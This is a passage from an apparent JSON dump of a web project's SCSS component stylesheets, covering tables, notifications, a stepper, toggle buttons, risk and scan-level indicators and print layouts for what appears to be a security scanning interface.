    "content": "/*\nAdds infoblock on hover over table td\n\nMarkup:\n<table>\n  <tbody>\n    <tr>\n      <td class=\"has-hover-block\">\n        Going about your normal business.\n\n        <div class=\"hover-block\">\n          Some extra info\n        </div>\n      </td>\n    <tr>\n  </tbody>\n</table>\n\n*/\ntbody td.has-hover-block {\n  position: relative;\n}\n\ntbody td.has-hover-block .hover-block {\n  background: var(--colors-white);\n  border: 1px solid var(--colors-grey-200);\n  box-shadow: 0 8px 8px var(--colors-black-10);\n  display: none;\n  top: calc(100% - 0.25em);\n  left: 15%;\n  opacity: 1;\n  padding: 0.5em;\n  position: absolute;\n  width: 480px;\n  z-index: 9;\n}\n\ntbody td.has-hover-block:hover .hover-block,\ntbody td.has-hover-block.is-active .hover-block {\n  display: block;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/input-link.scss",
    "content": ".input-link {\n  display: flex;\n  text-align: right;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/introduction.scss",
    "content": ".introduction {\n  flex-direction: row;\n  justify-content: space-between;\n  width: 100%;\n\n  .toolbar {\n    width: unset;\n  }\n\n  .tabs {\n    margin-top: calc(var(--section-gap) * -1);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/language.scss",
    "content": ".language {\n  width: 100%;\n  background-color: #f5f5f5;\n\n  form {\n    padding: 0.5rem;\n    background-color: transparent;\n\n    button {\n      color: #000000;\n      min-height: 0;\n      background-color: transparent;\n      min-width: 0;\n      padding: 0;\n      border-radius: 0;\n      border-bottom: 4px solid transparent;\n\n      &[aria-current=\"true\"],\n      &:hover {\n        border-bottom: 4px solid var(--branding-color-1-darker);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/layout-tiles-width-1.scss",
    "content": "section.width-1 {\n  grid-column-start: 1;\n  grid-column-end: span 2;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/layout.scss",
    "content": "/* Layout */\n\n/* Temporary fix until we figure out what to do with nested divs */\nsection div {\n  display: flex;\n  flex-direction: column;\n  gap: var(--section-content-block-gap);\n}\n"
  },
  {
    "path": "rocky/assets/css/components/messages.scss",
    "content": ".message {\n  > div {\n    margin-top: 0;\n    max-width: 100%;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/notifications.scss",
    "content": "/* Block notification */\ndiv,\nsection {\n  &.error,\n  &.warning,\n  &.explanation,\n  &.confirmation,\n  &.system {\n    flex-direction: row;\n\n    h1,\n    h2,\n    h3,\n    h4,\n    h5,\n    h6 {\n      font-size: var(--heading-small-font-size);\n    }\n  }\n}\n\n/* Help text */\ndiv {\n  &.explanation {\n    &.help-text {\n      margin: 0 0 auto auto;\n      float: none;\n    }\n  }\n\n  &.confirmation {\n    margin-top: 0;\n  }\n}\n\n/* Inline notification */\np,\nspan {\n  &.error,\n  &.warning,\n  &.explanation,\n  &.confirmation,\n  &.system {\n    &::before {\n      margin-left: -2rem;\n    }\n  }\n}\n\n/* Icons */\np,\nspan,\nsection,\ndiv,\nform div,\nform section {\n  &.error {\n    &::before {\n      content: \"\\eac5\";\n      color: var(--colors-red-600);\n    }\n  }\n\n  &.warning {\n    &::before {\n      content: \"\\ea06\";\n      color: var(--colors-ochre-500);\n    }\n  }\n\n  &.explanation {\n    &::before {\n      content: \"\\eac5\";\n      color: var(--colors-blue-600);\n    }\n  }\n\n  &.confirmation {\n    &::before {\n      content: \"\\ea5e\";\n      color: var(--colors-green-600);\n    }\n  }\n\n  &.system {\n    background-color: var(--colors-black-05);\n\n    &::before {\n      content: \"\\ea06\";\n      color: var(--colors-blue-600);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/ooi-summary.scss",
    "content": ".ooi-summary-risk-rating {\n  h5 {\n    margin-bottom: 0;\n    margin-top: 0;\n    text-align: center;\n  }\n\n  & > span {\n    display: block;\n    margin-bottom: 0;\n    margin-top: 0;\n    text-align: center;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/page-meta.scss",
    "content": ".page-meta {\n  .logged-in {\n    justify-content: space-between;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/plugins.scss",
    "content": "$boefje-bg: #275937;\n$bit-bg: #42145f;\n$normalizer-bg: #e17000;\n\n.tiles {\n  &.tiles {\n    img {\n      object-fit: cover;\n      object-position: center;\n      height: 15rem;\n    }\n  }\n\n  /* Tile */\n  > div {\n    position: relative;\n\n    /* interaction */\n    > .nota-bene {\n      display: none;\n    }\n\n    /* States */\n    &.required {\n      .nota-bene {\n        display: inline;\n        position: absolute;\n\n        /* Removed form the flow to keep the flex stretch option on the plugins so they stay the same height */\n        top: -1.75rem;\n        margin: 0;\n      }\n    }\n\n    /* Checkbox */\n    > input[type=\"checkbox\"] {\n      accent-color: var(--form-accent-color-color, initial);\n      cursor: var(--form-checkbox-cursor);\n      left: 1rem;\n      margin: 0;\n      position: absolute;\n      top: 1rem;\n      width: var(--form-checkbox-width);\n      min-height: var(--form-checkbox-width);\n      height: var(--form-checkbox-width);\n    }\n\n    .tile-label {\n      background-color: #262431;\n      color: var(--colors-white);\n      font-size: 1.125rem;\n      margin: 0;\n      padding: 0.25rem 1rem;\n      position: absolute;\n      right: 0;\n      top: 1rem;\n      width: auto;\n    }\n\n    &.boefje {\n      .tile-label {\n        background-color: $boefje-bg;\n      }\n    }\n\n    &.bit {\n      .tile-label {\n        background-color: $bit-bg;\n      }\n    }\n\n    &.normalizer {\n      .tile-label {\n        background-color: $normalizer-bg;\n      }\n    }\n  }\n\n  .tile-title,\n  .action-buttons a {\n    font-weight: 700;\n    line-height: 1.25rem;\n    display: flex;\n    justify-content: space-between;\n    align-items: flex-start;\n    gap: 0.5rem;\n    font-size: var(--tile-font-size);\n  }\n\n  .tile-detail-link {\n    padding: 4px 16px;\n    line-height: var(--form-button-line-height);\n  }\n\n  .tile-description {\n    font-size: var(--tile-font-size);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/print.scss",
    "content": "/* Print */\n\n@media print {\n  /* Removing header from printed version */\n  body > header,\n  .page-header {\n    display: none;\n  }\n\n  /* Removing footer from printed version */\n  body > footer,\n  .page-footer {\n    display: none;\n  }\n\n  /* Removing dropdowns from printed version */\n  body > main,\n  .dropdown {\n    display: none;\n  }\n\n  /* Removing action buttons from printed version */\n  .toolbar {\n    button,\n    a.button {\n      display: none;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/print_report.scss",
    "content": "/* Print Report */\n\n@media print {\n  main.report {\n    &.sidemenu {\n      flex-direction: column;\n\n      & > nav:first-child {\n        position: static;\n        width: 100%;\n        break-after: page;\n        border: 0;\n\n        .sidemenu-toggle {\n          display: none;\n        }\n      }\n\n      article {\n        padding: 0;\n      }\n\n      .accordion {\n        li {\n          break-inside: avoid;\n        }\n\n        button {\n          border: 0;\n          width: auto;\n\n          /* Hide action button */\n          &::before {\n            content: none;\n          }\n\n          /* Show all accordion content */\n          &[aria-expanded=\"true\"] + div,\n          &[aria-expanded=\"false\"] + div {\n            display: flex;\n            padding: 0;\n            border: 0;\n            margin-bottom: 0.5rem;\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/qr-code.scss",
    "content": ".qr-code-image,\nform.horizontal-view > fieldset > div > .qr-code-image {\n  max-width: 15rem;\n  float: left;\n  background-color: var(--colors-white);\n  margin-left: var(--form-horizontal-view-gap);\n}\n"
  },
  {
    "path": "rocky/assets/css/components/report-name-table.scss",
    "content": "#report-name-table td:has(.action-button) {\n  min-width: 3rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/report.scss",
    "content": "%chapter {\n  gap: var(--spacing-grid-500);\n  padding: 0;\n\n  > div {\n    width: 100%;\n  }\n\n  &.appendix {\n    > div {\n      width: 100%;\n\n      .toolbar {\n        width: 100%;\n        max-width: 100%;\n        justify-content: space-between;\n        display: flex;\n        align-items: center;\n\n        button {\n          align-self: center;\n        }\n      }\n\n      > div {\n        gap: var(--spacing-grid-300);\n\n        > div {\n          gap: var(--spacing-grid-200);\n        }\n      }\n    }\n  }\n}\n\n.report {\n  --max-line-length-breakpoint-hyphens: initial;\n\n  article {\n    gap: var(--spacing-grid-500);\n\n    @media screen and (width >= 90rem) {\n      padding-left: 0;\n      padding-right: 0;\n    }\n\n    h2,\n    h3 {\n      margin-bottom: -0.75rem; /* Reducing margin below the header due to additional space within the font */\n    }\n\n    h4,\n    h5,\n    h6 {\n      margin-bottom: -0.25rem; /* Reducing margin below the header due to additional space within the font */\n    }\n\n    > section {\n      @extend %chapter;\n    }\n\n    > div {\n      padding: 0;\n\n      > section {\n        @extend %chapter;\n      }\n\n      &.report-content {\n        display: flex;\n        flex-direction: column;\n        gap: var(--spacing-grid-500);\n\n        > section {\n          > div {\n            display: flex;\n            width: 100%;\n            gap: var(--spacing-grid-200);\n            padding: 0;\n\n            > div {\n              width: 100%;\n              margin: 1rem 0;\n              gap: var(--spacing-grid-200);\n\n              &:last-child {\n                margin-bottom: 0;\n              }\n            }\n          }\n        }\n      }\n    }\n\n    table {\n      caption {\n        --table-caption-font-size: var(--heading-normal-font-size);\n        --table-caption-text-color: var(--text-color-dark);\n\n        font-family: var(--headings-base-set-font-family);\n        font-weight: 600;\n      }\n    }\n  }\n}\n\nspan {\n  &.label {\n    max-width: 18.75rem;\n    border: 1px solid var(--colors-white);\n    border-radius: var(--spacing-grid-050);\n    padding: var(--spacing-grid-050) var(--spacing-grid-100);\n    font-size: var(--tile-font-size);\n    font-weight: var(--list-item-completed-font-weight);\n\n    &.tags-color-grey-2 {\n      color: var(--colors-grey-800);\n      background-color: var(--colors-grey-100);\n    }\n  }\n}\n\n.tile-report-types-link {\n  font-size: var(--tag-font-size);\n  text-decoration: none;\n  font-weight: 700;\n\n  .icon {\n    vertical-align: middle;\n    margin-left: 0.5rem;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/risk-level-indicator.scss",
    "content": "/* Risk level indicator */\n\n.critical,\n.high,\n.medium,\n.low,\n.informational,\n.recommendation,\n.pending,\n.unknown {\n  --risk-level-critical: var(--colors-red-500);\n  --risk-level-high: var(--colors-orange-300);\n  --risk-level-medium: var(--colors-ochre-150);\n  --risk-level-low: var(--colors-green-150);\n  --risk-level-informational: var(--colors-blue-150);\n  --risk-level-pending: var(--colors-grey-400);\n  --risk-level-unknown: var(--colors-grey-400);\n\n  display: flex;\n  align-items: center;\n  gap: 0.5rem;\n  padding: 0;\n\n  &::before {\n    content: \"\";\n    display: block;\n    width: 0.75rem;\n    height: 0.75rem;\n    border-radius: 50%;\n    margin: 0;\n  }\n}\n\n.critical::before {\n  background-color: var(--risk-level-critical);\n}\n\n.high::before {\n  background-color: var(--risk-level-high);\n}\n\n.medium::before {\n  background-color: var(--risk-level-medium);\n}\n\n.low::before {\n  background-color: var(--risk-level-low);\n}\n\n.informational::before,\n.recommendation::before {\n  background-color: var(--risk-level-informational);\n}\n\n.pending::before {\n  background-color: var(--risk-level-pending);\n}\n\n.unknown::before {\n  background-color: var(--risk-level-unknown);\n}\n"
  },
  {
    "path": "rocky/assets/css/components/scan-level-indicator.scss",
    "content": "/*\n\nScan level indicator\n\nMarkup:\n<ul class=\"level-indicator l2\">\n    <li></li>\n</ul>\n(L2)\n\n*/\n\n.level-indicator {\n  display: flex;\n  flex-direction: row;\n  line-height: 1rem;\n  gap: var(--spacing-grid-100);\n  background-color: transparent;\n  padding: 0;\n\n  li {\n    display: inline-block;\n    width: 1.125rem;\n    min-width: 1.125rem;\n    height: 1rem;\n    line-height: 1rem;\n    padding: 0;\n\n    &::before {\n      content: \"\\eff9\";\n      font-family: tabler-icons;\n      color: var(--colors-grey-500);\n      font-size: 1.5rem;\n      -webkit-font-smoothing: antialiased;\n      -moz-osx-font-smoothing: grayscale;\n    }\n  }\n\n  &.l1 li:first-child::before {\n    content: \"\\f689\";\n    color: var(--colors-purrple-500);\n  }\n\n  &.l2 li:nth-child(-n + 2)::before {\n    content: \"\\f689\";\n    color: var(--colors-purrple-600);\n  }\n\n  &.l3 li:nth-child(-n + 3)::before {\n    content: \"\\f689\";\n    color: var(--colors-purrple-700);\n  }\n\n  &.l4 li:nth-child(-n + 4)::before {\n    content: \"\\f689\";\n    color: var(--colors-purrple-800);\n  }\n\n  &-form {\n    margin: 1rem 0;\n  }\n}\n\nform fieldset .level-indicator {\n  box-sizing: border-box;\n  min-height: 1.75rem;\n  display: block;\n  padding: 0.25rem 0;\n\n  li {\n    margin-right: 0.25rem;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/select.scss",
    "content": "form select {\n  padding: 0.5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/state-tag.scss",
    "content": "/* State tag */\n\n.state-tag {\n  border: 0;\n  padding: var(--spacing-grid-050) var(--spacing-grid-100);\n  border-radius: var(--border-radius-s);\n  box-sizing: border-box;\n  font-size: var(--body-text-small-font-size);\n  line-height: var(--body-text-small-line-height);\n  font-weight: bold;\n\n  &.enabled {\n    background-color: var(--colors-green-200);\n    color: var(--colors-green-700);\n  }\n\n  &.disabled {\n    background-color: var(--colors-red-150);\n    color: var(--colors-red-700);\n    opacity: 1;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/state-tags.scss",
    "content": "/* State tags */\n\n.new {\n  @extend %tag;\n\n  background-color: var(--colors-blue-50);\n  border: 1px solid var(--colors-blue-300);\n  color: var(--colors-blue-600);\n}\n\n.tag {\n  &.critical,\n  &.medium,\n  &.secure {\n    @extend %tag;\n\n    display: inline;\n\n    &::before {\n      content: none;\n    }\n  }\n\n  &.critical {\n    background-color: var(--colors-red-150);\n    border: 1px solid var(--risk-level-critical);\n    color: var(--colors-orange-700);\n  }\n\n  &.medium {\n    background-color: var(--colors-yellow-50);\n    border: 1px solid var(--colors-yellow-300);\n    color: var(--color-alert-warning);\n  }\n\n  &.secure {\n    background-color: var(--colors-green-200);\n    border: 1px solid var(--colors-green-500);\n    color: var(--colors-green-700);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/stepper-variables.scss",
    "content": "/* Stepper variables  */\n\n:root {\n  --stepper-padding: 1rem 0;\n  --stepper-border-top: 1px solid #cccccc;\n  --stepper-width: 100%;\n\n  /* Above breakpoint */\n  --stepper-above-breakpoint-padding: 0;\n\n  /* Item */\n  --stepper-item-font-weight: 400;\n  --stepper-item-list-style-type: none;\n  --stepper-item-opacity: 0.4;\n\n  /* Above breakpoint */\n  --stepper-item-above-breakpoint-padding-top: 2rem;\n\n  /* Last item */\n\n  /* Allows the stepper to visally be complete */\n  --stepper-item-above-breakpoint-max-width: 100%;\n  --stepper-item-above-breakpoint-flex-grow: 1;\n\n  /* Link */\n  --stepper-item-link-text-color: black;\n  --stepper-item-link-margin: 0;\n  --stepper-item-link-text-decoration: none;\n\n  /* Link hover */\n  --stepper-item-link-hover-text-decoration: underline;\n\n  /* Link visited */\n  --stepper-item-link-visited-text-color: var(--stepper-item-link-color);\n  --stepper-item-link-visited-text-decoration: var(\n    --stepper-item-link-text-decoration\n  );\n\n  /* List item all up to active step */\n  --list-item-completed-font-weight: 700;\n  --list-item-completed-opacity: 1;\n\n  /* Above breakpoint */\n  --list-item-completed-above-breakpoint-font-weight: var(\n    --list-item-completed-font-weight\n  );\n  --list-item-completed-above-breakpoint-opacity: var(\n    --list-item-completed-opacity\n  );\n  --list-item-completed-above-breakpoint-border-top: 2px solid\n    var(--colors-purrple-500);\n  --list-item-completed-above-breakpoint-margin-top: -2px; /* Compensating for the active top border */\n\n  /* Icon between stepper items */\n  --stepper-divider-icon: \"\\ea61\";\n  --stepper-divider-icon-font-family: tabler-icons;\n  --stepper-divider-icon-font-size: 1rem;\n  --stepper-divider-icon-font-weight: 400;\n  --stepper-divider-icon-margin: 0 1rem;\n\n  /* Current step */\n  --stepper-item-current-link-padding-top: 1px;\n  --stepper-item-current-icon: \"\\f287\";\n  --stepper-item-current-icon-font-family: tabler-icons;\n  --stepper-item-current-icon-display: block;\n  --stepper-item-current-icon-font-weight: 400;\n  --stepper-item-current-icon-color: var(--colors-purrple-500);\n  --stepper-item-current-icon-position: absolute;\n  --stepper-item-current-icon-top: -0.875rem; /* Half the size of the icon */\n  --stepper-item-current-icon-bottom: auto;\n\n  /* Small adjustment to prevent the active line to cross the fish head */\n  --stepper-item-current-icon-right: -0.75rem;\n  --stepper-item-current-icon-left: auto;\n  --stepper-item-current-icon-padding: 0;\n  --stepper-item-current-icon-font-size: 1.75rem;\n  --stepper-item-current-icon-height: 1.75rem;\n  --stepper-item-current-icon-line-height: var(\n    --stepper-item-current-icon-font-size\n  );\n}\n"
  },
  {
    "path": "rocky/assets/css/components/stepper.scss",
    "content": "/*\nSteps within a flow can be displayed using this partial.\n*/\n\n@import \"stepper-variables\";\n\n.stepper {\n  border-top: var(--stepper-border-top);\n  width: var(--stepper-width);\n\n  > ul {\n    padding: var(--stepper-padding);\n    width: var(--stepper-width);\n\n    > li {\n      font-weight: var(--stepper-item-font-weight);\n      list-style-type: var(--stepper-item-list-style-type);\n      opacity: var(--stepper-item-opacity);\n\n      > a {\n        color: var(--stepper-item-link-color);\n        margin: var(--stepper-item-link-margin);\n        text-decoration: var(--stepper-item-link-text-decoration);\n\n        &:hover {\n          text-decoration: var(--stepper-item-link-hover-text-decoration);\n        }\n      }\n\n      a:visited {\n        color: var(--stepper-item-link-visited-color);\n        text-decoration: var(--stepper-item-link-visited-text-decoration);\n      }\n    }\n\n    /* Selects all steps until the active step */\n    > li:not(li[aria-label=\"current-step\"] ~ li) {\n      font-weight: var(--list-item-completed-font-weight);\n      opacity: var(--list-item-completed-opacity);\n    }\n  }\n\n  @media (width >= 56rem) {\n    > ul {\n      display: flex;\n      flex-direction: row;\n      padding: var(--stepper-above-breakpoint-padding);\n\n      > li {\n        padding-top: var(--stepper-item-above-breakpoint-padding-top);\n\n        &::before {\n          content: var(--stepper-divider-icon);\n          display: inline-flex;\n          font-family: var(--stepper-divider-icon-font-family);\n          font-size: var(--stepper-divider-icon-font-size);\n          font-weight: var(--stepper-divider-icon-font-weight);\n          margin: var(--stepper-divider-icon-margin);\n        }\n\n        &:first-child {\n          &::before {\n            content: none;\n          }\n        }\n\n        &:last-child {\n          flex-grow: var(--stepper-item-above-breakpoint-flex-grow);\n          max-width: var(--stepper-item-above-breakpoint-max-width);\n        }\n      }\n\n      /* Selects all steps until the active step */\n      > li:not(li[aria-label=\"current-step\"] ~ li) {\n        font-weight: var(--list-item-completed-above-breakpoint-font-weight);\n        opacity: var(--list-item-completed-above-breakpoint-opacity);\n        border-top: var(--list-item-completed-above-breakpoint-border-top);\n        margin-top: var(--list-item-completed-above-breakpoint-margin-top);\n      }\n\n      > li[aria-label=\"current-step\"] {\n        position: relative;\n\n        a {\n          padding-top: var(--stepper-item-current-link-padding-top);\n        }\n\n        &::after {\n          content: var(--stepper-item-current-icon);\n          font-family: var(--stepper-item-current-icon-font-family);\n          display: var(--stepper-item-current-icon-display);\n          font-weight: var(--stepepr-item-current-icon-font-weight);\n          color: var(--stepper-item-current-icon-color);\n\n          /* Positioning */\n          position: var(--stepper-item-current-icon-position);\n          top: var(--stepper-item-current-icon-top);\n          bottom: var(--stepper-item-current-icon-bottom);\n          right: var(--stepper-item-current-icon-right);\n          left: var(--stepper-item-current-icon-left);\n          padding: var(--stepper-item-current-icon-padding);\n          z-index: 0;\n\n          /* Size */\n          font-size: var(--stepper-item-current-icon-font-size);\n          height: var(--stepper-item-current-icon-height);\n          line-height: var(--stepper-item-current-icon-line-height);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/sticky-column.scss",
    "content": ".sticky-column {\n  max-width: 100%;\n  position: relative;\n\n  .sticky-cell {\n    position: sticky;\n    right: 0;\n    background-color: #ffffff;\n  }\n\n  tr.expanded-row .sticky-cell {\n    background-color: var(--expando-rows-row-background-color);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/sticky.scss",
    "content": "/* Sticky */\n\n/* For this styling to work. Combine the elements that need to\nappear sticky in a group. e.g div.\n\nAdd the following css to the paren\n\nposition: relative;\n\nAdd the class sticky on the group that should be sticky\nin this example that's the div within the parent element */\n\n.sticky {\n  position: sticky;\n  top: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/system-tag.scss",
    "content": ".system-tag,\nspan.system-tag {\n  background-color: var(--colors-white);\n  border: 2px solid;\n  border-radius: var(--border-radius-xl);\n  padding: var(--spacing-grid-025) var(--spacing-grid-100);\n  box-sizing: border-box;\n  width: auto;\n\n  &::before {\n    content: none;\n  }\n\n  &.color-1 {\n    color: var(--colors-blue-600);\n    border-color: var(--colors-blue-600);\n  }\n\n  &.color-2 {\n    color: var(--colors-green-600);\n    border-color: var(--colors-green-600);\n  }\n\n  &.color-3 {\n    color: var(--colors-ochre-500);\n    border-color: var(--colors-ochre-500);\n  }\n\n  &.color-4 {\n    color: var(--colors-orange-600);\n    border-color: var(--colors-orange-600);\n  }\n\n  &.color-5 {\n    color: var(--colors-red-600);\n    border-color: var(--colors-red-600);\n  }\n\n  &.color-6 {\n    color: var(--colors-purrple-600);\n    border-color: var(--colors-purrple-600);\n  }\n\n  &.color-grey {\n    color: var(--colors-grey-600);\n    border-color: var(--colors-grey-600);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/table-sortable.scss",
    "content": "/* Sortable table element */\n\ntable thead th.sortable {\n  padding: 0;\n  border-radius: 0.25rem 0.25rem 0 0;\n\n  &:hover {\n    background-color: var(--colors-black-05);\n  }\n\n  &[aria-sort] {\n    background-color: var(--colors-purrple-100);\n\n    &:hover {\n      background-color: var(--colors-purrple-200);\n    }\n  }\n\n  button {\n    width: 100%;\n    height: 100%;\n    background-color: transparent;\n    border: 0;\n    padding: var(--table-head-cell-padding);\n    display: flex;\n    justify-content: flex-start;\n\n    .icon::before {\n      color: var(--colors-grey-500);\n    }\n\n    .icon.ti-direction::before {\n      font-size: 1.75rem;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/table-state-icons.scss",
    "content": "table td .icon,\ntable th .icon {\n  &::before {\n    position: static;\n    font-family: var(--icon-font-family);\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale;\n  }\n\n  /* Resetting general table cell notification styles */\n  &.error,\n  &.warning,\n  &.confirmation,\n  &.explanation,\n  &.system {\n    background-color: transparent;\n    border: 0;\n    padding: 0;\n    margin: 0;\n    width: unset;\n\n    &::before {\n      margin-left: 0;\n    }\n  }\n\n  /* Icon Id's from https://tabler.io/ */\n\n  &.warning {\n    &::before {\n      content: \"\\ea06\"; // $ti-icon-alert-triangle\n      color: var(--color-alert-warning);\n    }\n  }\n\n  &.alert {\n    &::before {\n      content: \"\\ea05\"; // $ti-alert-circle\n      color: var(--color-alert-negative);\n    }\n  }\n\n  &.neutral {\n    &::before {\n      content: \"\\ea91\"; // $ti-icon-dots-circle-horizontal\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.positive {\n    &::before {\n      content: \"\\ea67\"; // $ti-icon-circle-check\n      color: var(--color-alert-positive);\n    }\n  }\n\n  &.completed {\n    &::before {\n      content: \"\\ea67\"; // $ti-icon-circle-check\n      color: var(--color-alert-positive);\n    }\n  }\n\n  &.negative {\n    &::before {\n      content: \"\\ea6a\"; // $ti-icon-circle-x\n      color: var(--color-alert-negative);\n    }\n  }\n\n  &.failed {\n    &::before {\n      content: \"\\ea05\"; // $ti-icon-alert-circle\n      color: var(--color-alert-negative);\n    }\n  }\n\n  &.incomplete {\n    &::before {\n      content: \"\\ea6a\"; // $ti-icon-circle-x\n      color: var(--colors-grey-900);\n    }\n  }\n\n  &.running {\n    &::before {\n      content: \"\\fa0d\"; // $ti-icon-progress\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.dispatched {\n    &::before {\n      content: \"\\fd5d\"; // $ti-icon-send-2\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.queued {\n    &::before {\n      content: \"\\ea70\"; // $ti-icon-clock\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.pending {\n    &::before {\n      content: \"\\eca3\"; // $ti-icon-loader\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.cancelled {\n    &::before {\n      content: \"\\ea6a\"; // $ti-icon-alert-circle-x\n      color: var(--colors-grey-900);\n    }\n  }\n\n  &.timeout {\n    &::before {\n      content: \"\\ea70\"; // $ti-icon-clock\n      color: var(--color-alert-negative);\n    }\n  }\n\n  &.stopschedule {\n    &::before {\n      content: \"\\ea6a\"; // $ti-icon-on-off\n      color: var(--color-alert-negative);\n    }\n  }\n\n  &.search {\n    &::before {\n      content: \"\\eb1c\"; // $ti-icon-search\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.filter {\n    &::before {\n      content: \"\\eaa5\"; // $ti-icon-filter\n      color: var(--color-alert-informative);\n    }\n  }\n\n  &.filteradd {\n    &::before {\n      content: \"\\fa02\"; // $ti-icon-filter-plus\n      color: var(--color-alert-informative);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/table.scss",
    "content": "td,\ntr {\n  .icon {\n    margin-right: 0.5rem;\n    float: unset;\n  }\n\n  &.confirmation {\n    background-color: var(--notification-confirmation-background-color);\n    border-width: var(--notification-confirmation-border-width);\n    border-style: var(--notification-confirmation-border-style);\n    border-color: var(--notification-confirmation-border-color);\n\n    &::before {\n      content: var(--notification-confirmation-icon-before-content);\n    }\n\n    &::after {\n      content: var(--notification-confirmation-icon-after-content);\n    }\n  }\n\n  &.error {\n    background-color: var(--notification-error-background-color);\n    border-width: var(--notification-error-border-width);\n    border-style: var(--notification-error-border-style);\n    border-color: var(--notification-error-border-color);\n\n    &::before {\n      content: var(--notification-error-icon-before-content);\n    }\n\n    &::after {\n      content: var(--notification-error-icon-after-content);\n    }\n  }\n\n  &.warning {\n    background-color: var(--notification-warning-background-color);\n    border-width: var(--notification-warning-border-width);\n    border-style: var(--notification-warning-border-style);\n    border-color: var(--notification-warning-border-color);\n\n    &::before {\n      content: var(--notification-warning-icon-before-content);\n    }\n\n    &::after {\n      content: var(--notification-warning-icon-after-content);\n    }\n  }\n\n  &.explanation {\n    background-color: var(--notification-explanation-background-color);\n    border-width: var(--notification-explanation-border-width);\n    border-style: var(--notification-explanation-border-style);\n    border-color: var(--notification-explanation-border-color);\n\n    &::before {\n      content: var(--notification-explanation-icon-before-content);\n    }\n\n    &::after {\n      content: var(--notification-explanation-icon-after-content);\n    }\n  }\n}\n\n/* table alignment within table expando row */\ntable tr.expando-row td {\n  table td {\n    background-color: var(--application-base-background-color);\n    padding: var(--table-cell-padding);\n  }\n}\n\ntable:not(.nowrap) tbody td:not(.nowrap) {\n  a:not(.button) {\n    line-break: break-all;\n    display: inline-block; /* Needed to be able to use max-width */\n    max-width: 20rem;\n  }\n\n  vertical-align: top;\n\n  /* Added spacing to align with text */\n  .level-indicator {\n    padding-top: 0.25rem;\n  }\n}\n\ndiv.horizontal-scroll.nowrap tbody td,\ntable.nowrap tbody td,\ntable tbody td.nowrap {\n  vertical-align: middle;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/toggle.scss",
    "content": "button,\na,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  $breakpoint: 24rem !default;\n\n  &.toggle-button {\n    /* Alignment */\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    align-self: flex-start;\n    gap: 0;\n    margin: 0;\n    box-sizing: border-box;\n\n    /* Styling */\n    border-radius: var(--border-radius-l);\n    padding: var(--spacing-grid-150);\n    width: 2.75rem;\n    height: 2.75rem;\n    border: 1px solid var(--colors-purrple-300);\n\n    /* Text and icon styling */\n    background-color: var(--colors-white);\n    color: var(--colors-purrple-500);\n    text-decoration: none;\n    font-size: 0;\n\n    &::before {\n      color: var(--colors-purrple-500);\n      padding: 0;\n    }\n\n    /* Behaviour */\n    cursor: pointer;\n    overflow-wrap: break-word;\n\n    /* States */\n    &[aria-current=\"page\"] {\n      background-color: var(--colors-purrple-200);\n      border-color: var(--colors-purrple-200);\n\n      &::before {\n        color: var(--colors-purrple-700);\n      }\n    }\n\n    &:hover,\n    &:active {\n      border-color: var(--colors-purrple-500);\n    }\n\n    &:focus {\n      outline: 2px solid var(--colors-purrple-500);\n      outline-offset: 0.125rem;\n      z-index: 2;\n      position: relative;\n    }\n  }\n}\n\na {\n  &.toggle-button {\n    &:visited {\n      color: var(--colors-purrple-500);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/toolbar.scss",
    "content": ".toolbar {\n  display: flex;\n  flex-direction: row;\n  justify-content: flex-end;\n  align-items: center;\n  width: 100%;\n  overflow: visible; /* Making sure outline is visible on focus */\n\n  &.start {\n    justify-content: flex-start;\n  }\n\n  .end {\n    margin-left: auto;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/tree-tables.scss",
